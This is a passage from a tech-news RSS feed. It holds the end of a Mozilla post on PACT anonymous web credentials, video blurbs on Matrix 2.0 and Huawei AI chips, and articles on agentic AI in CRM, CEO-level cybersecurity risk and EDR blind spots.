<p class="c6"><span class="c1">The additional privacy given to users from </span><span class="c0">Issuer blinding</span><span class="c1"> makes participating in the system more challenging for Moderators</span><span class="c0">. Because the Moderator can’t see which Anchor backed a Credential at issuance, it can’t give a Credential from a strong Anchor </span><span class="c1">more access</span><span class="c0"> than one from a weak Anchor: doing so would itself leak which Anchor was used. The initial </span><span class="c1">access</span><span class="c0"> has to be uniform across the Moderator’s whole pool of Anchors, which in practice means setting it at the strength of the weakest. </span><span class="c1">However, this is only relevant for that initial access, the Moderator can update credentials according to the holder’s behavior, enabling Credential’s to accrue access over time.</span></p>
<p class="c42"><span class="c0">Building an open ecosystem also requires that sites can make effective decisions about the Anchors they choose to trust</span><span class="c1">. M</span><span class="c0">ultiparty computation systems like </span><span class="c0">Prio</span><span class="c0"> enable aggregate scoring without compromising pr</span><span class="c1">ivacy</span><span class="c0">. When users present Credentials, they can provide an encrypted share which identifies the anchor they use</span><span class="c1">d and can be privately aggregated to compute the quality of an issuer.</span></p>
<h3 class="c24"><span class="c2 c1">Next Steps </span></h3>
<p class="c49"><span class="c1">We think the</span><span class="c0"> architecture we</span><span class="c1">’ve </span><span class="c0">sketched </span><span class="c1">for PACT </span><span class="c0">has the right shape, but many of the details still need to be worked out</span><span class="c1"> and the entire system needs rigorous privacy and security analysis.</span></p>
<p class="c45"><span class="c0">We want to do that work in the open. The IETF is the natural venue for the cryptographic protocols underneath, and the W3C for the WebAPI surface that sits on top. </span><span class="c0">We’ll be </span><span class="c1">bringing</span><span class="c0"> </span><span class="c3 c1"><a class="c5" href="https://github.com/Moderation-of-unLinkable-Endorsements">draft specifications</a></span><span class="c1"> to these bodies as soon as they’re ready</span><span class="c0">, and we welcome collaborators from across the ecosystem: browser vendors, site operators, anti-abuse providers, and the cryptography community. </span></p>
<p class="c29"><span class="c0">If successful, we think we can provide a system which will keep the web open and </span><span class="c1">private</span><span class="c0">, while still giving sites the rate-limiting signal they need. </span></p>
<h3 class="c29"><span class="c2 c1">Acknowledgements</span></h3>
<p class="c4"><em><span class="c11 c1">The ideas described here are the result of collaboration and conversations with many people, including: Watson Ladd, Thibault Meunier, Michele Orrù, Trevor Perrin, Eric Rescorla, Samuel Schlesinger, Martin Thomson, Eric Trouton, Benjamin Vandersloot &amp; Cathie Yun.</span></em><span class="c11 c1"><em> </em> </span></p>
<hr class="c58">
<div>
<p class="c31"><a href="https://hacks.mozilla.org/?p=48374#:~:text=%5B1%5D">[1]</a><span class="c0"> PAT requires that the source of scarcity and an independent issuer be trusted not to collude. If they do, they can track users as they interact with the system. This is not suitable in the context of an open system where any party could play those two roles.</span></p>
</div>
<p>The post <a href="https://hacks.mozilla.org/2026/06/pact-anonymous-credentials-for-the-web/">PACT: Anonymous Credentials for the Web</a> appeared first on <a href="https://hacks.mozilla.org/">Mozilla Hacks - the Web developer blog</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Matrix 2.0 — How we're making Matrix go voom!]]></title>
<description><![CDATA[Author: Matrixdotorg - Bewertung: 395x - Views:15995 NOTE: we'll update the FOSDEM 2023 playlist as we gather all the talks. Stay tuned for more Matrix content.

This video was recorded during FOSDEM 2023, and can also be found here: https://fosdem.org/2023/schedule/event/matrix20/

Matrix is an ...]]></description>
<link>https://tsecurity.de/de/3693271/videos/matrix-20-how-were-making-matrix-go-voom/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693271/videos/matrix-20-how-were-making-matrix-go-voom/</guid>
<pubDate>Sat, 25 Jul 2026 08:36:49 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Matrixdotorg - Bewertung: 395x - Views:15995 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/eUPJ9zFV5IE?autoplay=1&origin=https://tsecurity.de" frameborder="0"></iframe></p><p>NOTE: we&#039;ll update the FOSDEM 2023 playlist as we gather all the talks. Stay tuned for more Matrix content.<br />
<br />
This video was recorded during FOSDEM 2023, and can also be found here: https://fosdem.org/2023/schedule/event/matrix20/<br />
<br />
Matrix is an open standard for secure, decentralised communication, which may be familiar from powering the online editions of FOSDEM in 2021 and 2022 (and hybrid-FOSDEM this year!).<br />
<br />
In this talk we will explain the fundamental changes which are landing in Matrix 2.0, which speeds up Matrix to be at least as snappy as the fastest proprietary messaging apps - all while handling thousands of rooms spanning millions of users.<br />
<br />
During 2022 we&#039;ve been on a mission to completely rework the slowest bits of Matrix, aiming that nobody can ever complain about Matrix being sluggish again. In practice this means fundamental changes in:<br />
<br />
- How Matrix syncs data - &quot;sliding sync&quot;, where servers only sync the bare minimum data to clients required to render the UI, providing instant login and instant sync (MSC3575)<br />
<br />
- How room joins work over federation - &quot;faster joins&quot;, where servers only sync the bare minimum data such that clients can start participating in the room as soon as possible (MSC3902)<br />
<br />
- How auth works - switching Matrix to use OIDC natively for all authentication, registration and account management (MSC3861)<br />
<br />
- How VoIP works - switching Matrix to natively support multiparty decentralised E2EE VoIP as the primary calling mechanism (MSC3401 and MSC3898)<br />
<br />
The end result is transformational, and by far the biggest change to Matrix since the project began in 2014. So, we&#039;re calling it Matrix 2.0, and this talk will give a guided tour of everything that&#039;s changed - and show off the new reference matrix-rust-sdk client SDK, which powers the new flagship mobile Matrix client, codenamed Element X.<br />
<br />
00:00 Hello!<br />
00:41 Matrix and its ecosystem<br />
06:33 Spec update<br />
08:10 Matrix is taking over the world<br />
09:26 Demo: Element X is blazing fast<br />
13:25 Behind the scenes of the demo<br />
15:02 How sliding sync works<br />
21:20 One matrix-rust-sdk to rule them all<br />
23:45 Faster remote room joins<br />
25:12 MatrixRTC, Element Call, Matryoshka Widgets<br />
26:37 Demo: Element Call!<br />
28:34 Demo: raiding Element Call with waterfall — Selective Forwarding Units for Matrix<br />
31:02 OpenID Connect: authentication done right<br />
32:04 The future: Digital Markets Act, MIMI, MLS, P2P Matrix<br />
36:32 Demo: P2P Matrix<br />
40:31 Demo: ThirdRoom — Matrix beyond chat and voice<br />
47:16 What&#039;s next?<br />
<br />
Support Matrix!<br />
🪙 Donorbox for individuals - https://donorbox.org/keep-matrix-exciting<br />
💶 Matrix Foundation (paid) membership for orgs - https://forms.gle/Yy345QkB5pifJJNy6<br />
<br />
(This Week in) Matrix<br />
🐘 https://mastodon.matrix.org/@matrix<br />
🐦️ https://twitter.com/matrixdotorg<br />
[m] https://matrix.to/#/#thisweekinmatrix:matrix.org<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[China's New Huawei Ascend 950PR Just Destroyed NVIDIA's Future in AI Industry!]]></title>
<description><![CDATA[Author: Evolving AI - Bewertung: 179x - Views:7273 Huawei may have just become NVIDIA’s biggest problem in China.

In this video, we break down Huawei’s new Ascend 950PR AI chip, why it matters for the global semiconductor war, and how U.S. export restrictions may have accelerated China’s push to...]]></description>
<link>https://tsecurity.de/de/3693243/videos/chinas-new-huawei-ascend-950pr-just-destroyed-nvidias-future-in-ai-industry/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693243/videos/chinas-new-huawei-ascend-950pr-just-destroyed-nvidias-future-in-ai-industry/</guid>
<pubDate>Sat, 25 Jul 2026 08:36:08 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Evolving AI - Bewertung: 179x - Views:7273 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/sGHhWmeVIqQ?autoplay=1&origin=https://tsecurity.de" frameborder="0"></iframe></p><p>Huawei may have just become NVIDIA’s biggest problem in China.<br />
<br />
In this video, we break down Huawei’s new Ascend 950PR AI chip, why it matters for the global semiconductor war, and how U.S. export restrictions may have accelerated China’s push toward technological independence. The Ascend 950PR is designed mainly for AI inference and is built by SMIC using advanced DUV multi-patterning. Huawei is also attacking NVIDIA’s biggest advantages beyond hardware by building a CUDA compatibility layer through CANN and scaling thousands of Ascend NPUs together inside the Atlas 950 SuperPod using UnifiedBus interconnect technology. We also look at reported demand from ByteDance, Alibaba Cloud, and Tencent, the role of DeepSeek models optimized for Ascend hardware, and why NVIDIA could lose major market share inside China even without Huawei beating its most advanced chips in every benchmark. This is bigger than one AI chip. China is building a parallel AI ecosystem across chips, software, networking, cloud infrastructure, and AI models — and Huawei is quickly becoming the center of it.<br />
<br />
#Huawei #NVIDIA #AIChips #Ascend950PR #ChinaTech #Semiconductors #ArtificialIntelligence<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[7 CRM trends for 2026: AI brings decisive action to customer workflows]]></title>
<description><![CDATA[Agentic AI has advanced from the promises-and-pilots phase of 2025 to reality and rollouts in 2026. In the process, agentic AI is transforming virtually every aspect of customer relationship management (CRM), the platform that manages sales, marketing, and customer service.



“Last year, everybo...]]></description>
<link>https://tsecurity.de/de/3693117/it-nachrichten/7-crm-trends-for-2026-ai-brings-decisive-action-to-customer-workflows/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693117/it-nachrichten/7-crm-trends-for-2026-ai-brings-decisive-action-to-customer-workflows/</guid>
<pubDate>Sat, 25 Jul 2026 06:53:15 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Agentic AI has advanced from the promises-and-pilots phase of 2025 to reality and rollouts in 2026. In the process, agentic AI is transforming virtually every aspect of <a href="https://www.cio.com/article/272365/what-is-crm-software-for-managing-customer-data.html">customer relationship management (CRM)</a>, the platform that manages sales, marketing, and customer service.</p>



<p class="wp-block-paragraph">“Last year, everybody was dipping their toes into the water,” says <a href="https://futurumgroup.com/keith-kirkpatrick/">Keith Kirkpatrick</a>, research director at The Futurum Group. This year, agentic AI has built momentum from the boardroom down, with companies recognizing that having an AI strategy is imperative. “They feel like if they don’t embrace it now, their competitors will.”</p>



<p class="wp-block-paragraph"><a href="https://www.deloitte.com/global/en/about/people/profiles.gx-harry-datwani+f20748dc.html">Harry Datwani</a>, a principal at Deloitte Digital, adds that enterprise CRM customers have transitioned from “proof of concept” to “scale and execution.”</p>



<p class="wp-block-paragraph">“Across sales, service, marketing, even in the commerce space, enterprises are really using AI and agentic,” he says.</p>



<p class="wp-block-paragraph">“CRM in 2026 is undergoing a structural shift, not just an incremental evolution,” says Forrester analyst <a href="https://www.forrester.com/analyst-bio/kate-leggett/BIO2629">Kate Leggett</a>, noting that AI is becoming a core part of CRM infrastructure, not just a feature or an add-on. According to Forrester data, around 70% of companies are already using AI in their CRM systems, she says.</p>



<p class="wp-block-paragraph">Here are the hot AI-driven trends in CRM this year.</p>



<h2 class="wp-block-heading">CRM becomes an action hero</h2>



<p class="wp-block-paragraph">CRM platforms have traditionally served as passive, static systems of record. Now, agentic AI is transforming CRM into a powerful, real-time solution that can act autonomously.</p>



<p class="wp-block-paragraph">“Organizations that rethink CRM as a real-time, AI-powered system of action — and embrace agentic AI to handle complex, unpredictable work — are better positioned to deliver exceptional customer experiences,” says IDC analyst <a href="https://my.idc.com/getdoc.jsp?containerId=PRF005191">Neil Ward-Dutton</a>. “This approach not only enhances satisfaction and loyalty but also drives operational efficiency and business agility.”</p>



<p class="wp-block-paragraph">Forrester’s Leggett says that AI-powered CRM platforms have advanced from simple data capture to real-time decision-making and execution. Standard capabilities include next-best action recommendations, call summaries, automated updates, generated emails, knowledge creation, predictive forecasting, and deal scoring.</p>



<p class="wp-block-paragraph">She adds that AI agents can now execute workflows, such as routing cases, sending follow-ups, and updating records (with human oversight). They can also handle end-to-end service and sales tasks autonomously, including case resolutions and sales development activities.</p>



<h2 class="wp-block-heading">Agentic drives workforce changes</h2>



<p class="wp-block-paragraph">AI use in CRM systems is also impacting workforce strategies.</p>



<p class="wp-block-paragraph">“We used to hire for deep expertise,” says Constellation Research analyst <a href="https://www.constellationr.com/user/liz-miller">Liz Miller</a>. “AI has commoditized expertise because I can take all that data from my CRM and train my AI models to go deep, to know everything about any product I’ve ever sold, from what has worked, what hasn’t, every price, every sale.”</p>



<p class="wp-block-paragraph">Now, instead of hiring candidates with deep expertise, organizations are looking for candidates who can go wide. “I can train a model to have deep expertise. What I can’t train for is experience, because experience is what happens when a person has gone broad across a lot of different scenarios and faced complexity across that broad scenario,” says Miller.</p>



<p class="wp-block-paragraph">For example, AI systems can automate many aspects of marketing, Miller notes, but there’s no substitute for creativity: people who can interrogate the data and come up with innovative marketing campaigns that connect with customers.</p>



<p class="wp-block-paragraph"><a href="https://www.servicenow.com/workflow/author/terence-chesire.html">Terence Chesire</a>, group vice president of ServiceNow CRM and industry workflows, says that organizations are using agentic AI to free up team members from repetitive, lower-value activities. Those employees have now moved to higher-level roles “where they’re working on transformational deals rather than just building a spreadsheet.”</p>



<p class="wp-block-paragraph">“That’s what we’re seeing as super-exciting as organizations not just free up people, but the speed and effort reduction and the friction reduction in what they can do,” he adds.</p>



<h2 class="wp-block-heading">Data layer takes center stage</h2>



<p class="wp-block-paragraph">AI’s promise to deliver actionable customer and marketing intelligence has placed even greater emphasis on the importance on sound data management practices for CRM.</p>



<p class="wp-block-paragraph">“The light bulb has flashed on very brightly for our clients,” says Deloitte’s Datwani. “Everyone is talking about AI agents, but your ability to really extract value is inextricably linked to the quality of your data and the ability to make that data accessible. What we’re finding is that despite large investments over time our clients still have fragmented data. And so, they are data rich and insight poor.”</p>



<p class="wp-block-paragraph">The good news, says Datwani, is that AI agents themselves can <a href="https://www.cio.com/article/2140371/gen-ai-can-be-the-answer-to-your-data-problems-but-not-all-of-them.html">help clean up and organize data</a>. And vendors such as <a href="https://www.cio.com/article/4030966/snowflake-and-databricks-vie-for-the-heart-of-enterprise-ai.html">Snowflake and Databricks</a>, along with the traditional CRM powerhouses, are offering powerful data analytics solutions. “Everyone is battling for that data layer,” Datwani says.</p>



<p class="wp-block-paragraph">Forrester’s Leggett adds that CRM platforms are converging with <a href="https://www.cio.com/article/308839/top-8-customer-data-platforms.html">customer data platforms (CDPs)</a>, real-time event streams, and external data sources to create connected customer data networks. These real-time, connected data models can help organizations deliver hyper-personalization at scale.</p>



<h2 class="wp-block-heading">Agentic ushers in pricing complexity</h2>



<p class="wp-block-paragraph">The shift from license- or subscription-based pricing to an <a href="https://www.cio.com/article/3624540/how-will-ai-agents-be-priced-cios-need-to-pay-attention.html">outcome or consumption pricing model</a> has the potential to help CIOs tie their CRM costs to specific business metrics, such as the number of customer service calls resolved per hour. But it has also introduced a <a href="https://www.cio.com/article/4184688/it-hurtles-toward-the-great-enterprise-pricing-reset.html">new level of complexity</a> when it comes to budgeting for CRM costs.</p>



<p class="wp-block-paragraph">For example, Chesire says ServiceNow’s CRM pricing plan starts with a baseline subscription model, and on top of that, customers get a certain number of AI tokens per user and can buy additional tokens as AI usage ramps up.</p>



<p class="wp-block-paragraph">Meanwhile, Salesforce has <a href="https://www.cio.com/article/4189183/salesforce-unveils-ai-help-agent-with-pay-per-resolution-pricing.html">rolled out pay-per-resolution pricing</a> with its recently unveiled AI Help Agent and last month <a href="https://www.cio.com/article/4183667/salesforce-to-acquire-usage-based-billing-specialist-m3ter.html">acquired usage-based billing specialist m3ter</a>. Oracle is also <a href="https://www.cio.com/article/4184271/oracle-wades-into-outcome-based-ai-billing-waters.html">piloting outcome-based AI pricing</a>.</p>



<p class="wp-block-paragraph">All these approaches undercut the predictability of the subscription model, which will complicate CIOs’ cost calculus, Deloitte’s Datwani says. “Now, as you start to think about consumption and tokens, costs might look different. As folks are opening up the architecture with things like headless CRM, what will the cost model look like for API calls or MCP server calls? So, there’s many more variables,” he adds.</p>



<h2 class="wp-block-heading">The rise of multi-agent orchestration</h2>



<p class="wp-block-paragraph">To act autonomously, agents need to access multiple data sets and software platforms seamlessly. As a result, the proliferation of agents, some embedded within specific vendor platforms and some created in-house, is going to require an orchestration layer, Futurum’s Kirkpatrick says.</p>



<p class="wp-block-paragraph">He points out that organizations need to monitor and manage agents, enforcing the same type of policy-based access control that exists for people. Organizations also need to set limits on what domains a specific agent can get into, what types of data they can access, what lines can’t they cross.</p>



<p class="wp-block-paragraph">Kirkpatrick predicts that a <a href="https://www.cio.com/article/4138739/21-agent-orchestration-tools-for-managing-your-ai-fleet.html">new class of orchestration tools</a> will emerge, although it’s not clear whether that orchestration layer will be provided by the leading CRM vendors, hyperscalers, or third parties.</p>



<p class="wp-block-paragraph">Datwani agrees. “The orchestration layer is an interesting area, where the traditional vendors are in on it, the hyperscalers are also offering it, and there are third parties. It’s my belief that there’s not going to be a clear winner.”<em></em></p>



<h2 class="wp-block-heading">The interface becomes conversational</h2>



<p class="wp-block-paragraph">Enterprise users who have traditionally had to manually wrangle with CRM systems are likely to find the ability to employ voice commands using a natural language interface to be a game changer. For starters, a salesperson can say, “I have a meeting today with Customer X. Help me prepare.” The agent will collect relevant data, ingest it, and provide a summary with recommendations.</p>



<p class="wp-block-paragraph">ServiceNow’s Chesire says voice-enabled CRM systems have an “almost magical” ability to record, transcribe, and understand the content of a call between a salesperson and a customer or potential customer. The system can then “build a quote” based on that conversation.</p>



<p class="wp-block-paragraph">On the customer service side of the equation, AI-driven voice technology enables customers to speak to an AI agent, describe the problem using natural language, and get a response. The agent has the capability to, for example, solve a credit card dispute, order a replacement product, send out a service rep, or do whatever is needed to resolve the issue, says Chesire.</p>



<p class="wp-block-paragraph">Beyond that, agentic technology is capable of understanding the underlying business process flaws that led to the product snafu, and make recommendations for ways to fix whatever led to the issue in the first place, he adds.</p>



<h2 class="wp-block-heading">Agentic drives business process transformation</h2>



<p class="wp-block-paragraph">With the emergence of outcome-based pricing, organizations are taking a fresh look at how they measure the benefits of CRM systems. That conversation is leading to an even more important analysis of underlying business processes. Or, as Constellation’s Miller says, “The old adage of applying new technology to old processes only gets you more expensive old processes.”</p>



<p class="wp-block-paragraph">“When we survey customers, we hear time and time again that the reason why they want to apply AI into their organizations is to foster exponential opportunity and exponential growth,” she says. “How do we get there with CRM has started to become the new conversation.”</p>



<p class="wp-block-paragraph">According to Miller, AI systems breach the walls of siloed data and can take a fresh look at legacy workflows. They also don’t get sucked into turf wars between marketing and sales teams. As a result, they often recommend new actions that can lead to better processes. “I think it’s starting to happen. You’re starting to see applications where AI is beginning to accelerate decision-making and decision velocity,” she says.</p>



<p class="wp-block-paragraph">“The next phase of maturity is going to be, how do we start to spread AI across our platforms so that we are seeing that holistic end-to-end relationship that we have always wanted to optimize. How do we thread that across platforms and across solutions. We’re starting to see organizations on the leading edge really start to pull those strategies together,” says Miller.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Iran-linked crews are probing more flavors of US industrial kit]]></title>
<description><![CDATA[CISA widens alert beyond Rockwell controllers as intruders target internet-facing devices across critical infrastructure]]></description>
<link>https://tsecurity.de/de/3693109/it-nachrichten/iran-linked-crews-are-probing-more-flavors-of-us-industrial-kit/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693109/it-nachrichten/iran-linked-crews-are-probing-more-flavors-of-us-industrial-kit/</guid>
<pubDate>Sat, 25 Jul 2026 06:44:31 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[CISA widens alert beyond Rockwell controllers as intruders target internet-facing devices across critical infrastructure]]></content:encoded>
</item>
<item>
<title><![CDATA[3 cybersecurity issues that should keep every CEO awake at night]]></title>
<description><![CDATA[For years, I have been saying that cybersecurity is no longer a technology problem. It has become a business leadership challenge.



Yet, despite record levels of spending, ever-growing security teams, increasingly sophisticated technologies and a constant stream of new regulations, organization...]]></description>
<link>https://tsecurity.de/de/3693088/it-nachrichten/3-cybersecurity-issues-that-should-keep-every-ceo-awake-at-night/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693088/it-nachrichten/3-cybersecurity-issues-that-should-keep-every-ceo-awake-at-night/</guid>
<pubDate>Sat, 25 Jul 2026 06:16:50 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">For years, I have been saying that cybersecurity is no longer a technology problem. It has become a business leadership challenge.</p>



<p class="wp-block-paragraph">Yet, despite record levels of spending, ever-growing security teams, increasingly sophisticated technologies and a constant stream of new regulations, organizations continue to suffer major cyber incidents with alarming regularity. Every week seems to bring news of another ransomware attack, supply chain compromise or data breach affecting organizations that many would have assumed were well protected.</p>



<p class="wp-block-paragraph">The obvious conclusion is that we are asking the wrong questions.</p>



<p class="wp-block-paragraph">Too many executive teams remain preoccupied with the latest threat actor, the newest security product the CISO wants to buy or the latest vulnerability making headlines. Those issues matter, but they are not what should be keeping CEOs awake at night.</p>



<p class="wp-block-paragraph">In my view, there are three far more fundamental issues that deserve the attention of every chief executive.</p>



<h2 class="wp-block-heading">1. Corporate complexity, and the widening gap between business leadership and cybersecurity reality</h2>



<p class="wp-block-paragraph">Perhaps the biggest cybersecurity risk facing large organizations today is not technical at all.</p>



<p class="wp-block-paragraph">It is the growing disconnect between executive perception and operational reality.</p>



<p class="wp-block-paragraph">Many boards genuinely believe their organizations are reasonably well protected. They receive regular dashboards showing improving maturity scores, increasing compliance levels, falling vulnerability counts and reassuring traffic-light reports.</p>



<p class="wp-block-paragraph">Unfortunately, cyber attackers do not read dashboards.</p>



<p class="wp-block-paragraph">Behind those executive reports often lies an increasingly complex technology landscape, thousands of unmanaged digital assets, ageing infrastructure, rampant shadow IT, fragmented ownership, inconsistent governance and security teams struggling to keep pace with relentless business change.</p>



<p class="wp-block-paragraph">The problem is rarely a lack of effort.</p>



<p class="wp-block-paragraph">It is that corporate complexity has reached a level where traditional governance mechanisms are no longer capable of providing an accurate picture of organizational resilience.</p>



<p class="wp-block-paragraph">Executives believe they understand the level of cyber risk they face because they receive regular reports. Those reports often measure activity rather than resilience.</p>



<p class="wp-block-paragraph">Governance committees end up debating around another percentage point of phishing awareness or vulnerability remediation, while fundamental issues remain unaddressed in the background.</p>



<h2 class="wp-block-heading">2. Organizational inertia, and the need for executive structure to evolve faster</h2>



<p class="wp-block-paragraph">Cyber criminals continue to evolve rapidly. Large organizations generally do not.</p>



<p class="wp-block-paragraph">This is the second issue that should concern every CEO.</p>



<p class="wp-block-paragraph">Throughout my career, I have observed organizations repeatedly responding to new cyber threats by adding another technology platform, another monitoring capability, another compliance framework or another governance committee.</p>



<p class="wp-block-paragraph">Very rarely do they stop to redesign how cybersecurity operates.</p>



<p class="wp-block-paragraph">The result is what I described several years ago as the “<a href="https://www.amazon.com/Cybersecurity-Spiral-Failure-How-Break/dp/1637353057/">Cybersecurity Spiral of Failure</a>”.</p>



<ul class="wp-block-list">
<li>As complexity and regulation increase, organizations invest in more security products.</li>



<li>More products create more complexity.</li>



<li>More products and greater complexity generate more alerts.</li>



<li>More alerts require more analysts.</li>



<li>More analysts produce more reports.</li>



<li>More reports continue to build up executive confidence.</li>



<li>Meanwhile, the underlying structural weaknesses remain largely unchanged, technical debt piles up and costs escalate.</li>
</ul>



<p class="wp-block-paragraph">And when the inevitable breach eventually happens, reality reveals itself, but distrust also sets in between senior executives and security teams.</p>



<p class="wp-block-paragraph">This is not a funding problem. Nor is it a skills problem. It is fundamentally an operating model problem.</p>



<p class="wp-block-paragraph">Many organizations continue trying to solve twenty-first century challenges using governance, accountability, organizational and reporting structures designed twenty-five years ago.</p>



<p class="wp-block-paragraph">The cybersecurity function itself has evolved dramatically. Many executive structures have not.</p>



<p class="wp-block-paragraph">This organizational inertia extends beyond technology: It affects budgeting cycles, <a href="https://www.cio.com/article/4193990/reallocating-cybersecurity-capital-in-the-mythos-era.html">investment priorities</a>, procurement processes, accountability models and decision-making speed.</p>



<p class="wp-block-paragraph">Cyber attackers innovate every day. Organizational change often takes years.</p>



<p class="wp-block-paragraph">That imbalance should worry every CEO.</p>



<h2 class="wp-block-heading">3. Accelerating technological disruption, and how it challenges organizations in areas where they are intrinsically weak</h2>



<p class="wp-block-paragraph">The third issue is potentially the most significant over the coming decade.</p>



<ul class="wp-block-list">
<li>Artificial intelligence, autonomous agents and machine identities</li>



<li>Software supply chain complexity.</li>



<li>Quantum computing, and post-quantum cryptography</li>
</ul>



<p class="wp-block-paragraph">Each of these developments represents far more than another technical trend.</p>



<p class="wp-block-paragraph">Together, they fundamentally change the dynamics of cybersecurity.</p>



<p class="wp-block-paragraph">Artificial intelligence is transforming countless business processes. At the same time, it is also increasing both the speed and sophistication of cyber-attacks while simultaneously transforming defensive capabilities.</p>



<p class="wp-block-paragraph">Organizations have become increasingly dependent on software ecosystems that extend far beyond their own direct control. Engaging with the supply chain in ways that lead to a genuine appreciation of the risks involved has become a key challenge for most cybersecurity practices.</p>



<p class="wp-block-paragraph">Quantum computing may eventually invalidate much of today’s cryptographic algorithms, forcing organizations into one of the largest technology efforts since Y2K — but without the benefit of a fixed deadline and faced by a problem that is considerably more complex and hyperconnected IT estates that have little to do with those of the late 90s.</p>



<p class="wp-block-paragraph">None of these challenges can be solved overnight: They require clear governance, sustained investment over a few years and cross-functional organizational coordination.</p>



<p class="wp-block-paragraph">Most large organizations are weak on those three fronts: This is precisely why CEOs should be focusing on them now.</p>



<p class="wp-block-paragraph">Waiting until some of those risks become obvious will almost certainly be too late.</p>



<p class="wp-block-paragraph">Businesses naturally prioritise immediate commercial pressures. Cybersecurity often involves preparing for risks whose timing remains uncertain.</p>



<p class="wp-block-paragraph">But one of the greatest leadership failures I keep seeing remains the inability of organizations to act decisively on known unknowns.</p>



<p class="wp-block-paragraph">That tension explains why many organizations delay action until external events force them to respond. Unfortunately, cybersecurity rarely rewards late action.</p>



<h2 class="wp-block-heading">Leadership will determine who succeeds</h2>



<p class="wp-block-paragraph">Cybersecurity discussions still frequently focus on technology. I believe they should focus far more on leadership.</p>



<p class="wp-block-paragraph">Technology will continue evolving. Threat actors will continue adapting. Regulations will continue expanding. Those developments are inevitable.</p>



<p class="wp-block-paragraph">What remains within the control of every CEO is how their organization responds.</p>



<p class="wp-block-paragraph">Does cybersecurity remain an IT issue? Or is it recognised as an integral part of business resilience?</p>



<p class="wp-block-paragraph">How is cybersecurity accountability assigned at executive level? Or does it still rest largely with a CISO hidden in the organization?</p>



<p class="wp-block-paragraph">Does the board spend sufficient time discussing resilience? Or does cybersecurity appear only when approving budgets or reviewing incidents?</p>



<p class="wp-block-paragraph">These questions will increasingly determine organizational success.</p>



<p class="wp-block-paragraph">The companies that navigate the next decade successfully will not necessarily be those spending the most on cybersecurity. Nor will they be those deploying the latest security technologies first.</p>



<p class="wp-block-paragraph">They will be the organizations whose leadership recognises that cybersecurity has become a permanent business capability — embedded into governance, strategy, operational decision-making and organizational culture.</p>



<p class="wp-block-paragraph">That transformation cannot be delegated. It begins with the CEO.</p>



<p class="wp-block-paragraph">And perhaps that is the single biggest issue that should keep every chief executive awake at night: Not when the next cyber-attack will happen, but whether their organization is evolving quickly enough on those matters to meet a threat landscape that is changing much faster than the business itself.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[5 endpoint blind spots your EDR/XDR was never built to see]]></title>
<description><![CDATA[In August 2025, 126 malicious packages landed in the npm registry. Even after the community caught the initial wave, 80 of these hidden backdoors remained actively listed.



That was enough. Over 86,000 downloads. Malicious code in PhantomRaven, packages running in the production systems of Fort...]]></description>
<link>https://tsecurity.de/de/3692679/it-nachrichten/5-endpoint-blind-spots-your-edrxdr-was-never-built-to-see/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692679/it-nachrichten/5-endpoint-blind-spots-your-edrxdr-was-never-built-to-see/</guid>
<pubDate>Sat, 25 Jul 2026 00:18:11 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">In August 2025, 126 malicious packages landed in the npm registry. Even after the community caught the initial wave, 80 of these hidden backdoors remained actively listed.</p>



<p class="wp-block-paragraph">That was enough. Over 86,000 downloads. Malicious code in <a href="https://www.koi.ai/blog/phantomraven-npm-malware-hidden-in-invisible-dependencies" target="_blank" rel="noreferrer noopener">PhantomRaven</a>, packages running in the production systems of Fortune 500 companies worldwide. And throughout the entire window, not a single EDR/XDR alert.</p>



<p class="wp-block-paragraph">This happened because the attack surface has expanded to a layer EDR/XDR was never designed to see: VS Code extensions, local MCP servers, and rogue AI coding assistants that inherit your engineers’ valid credentials to steal data at machine speed.</p>



<p class="wp-block-paragraph">To eliminate this structural vulnerability, Palo Alto Networks acquired Koi, an AI-native developer security product engineered for proactive, precision enforcement. Below we compiled a 2026 CISO checklist you can use to audit your environment and see how Koi automates each defense from day one.</p>



<p class="wp-block-paragraph"><strong>#1. Gain real-time visibility into shadow AI &amp; extensions</strong></p>



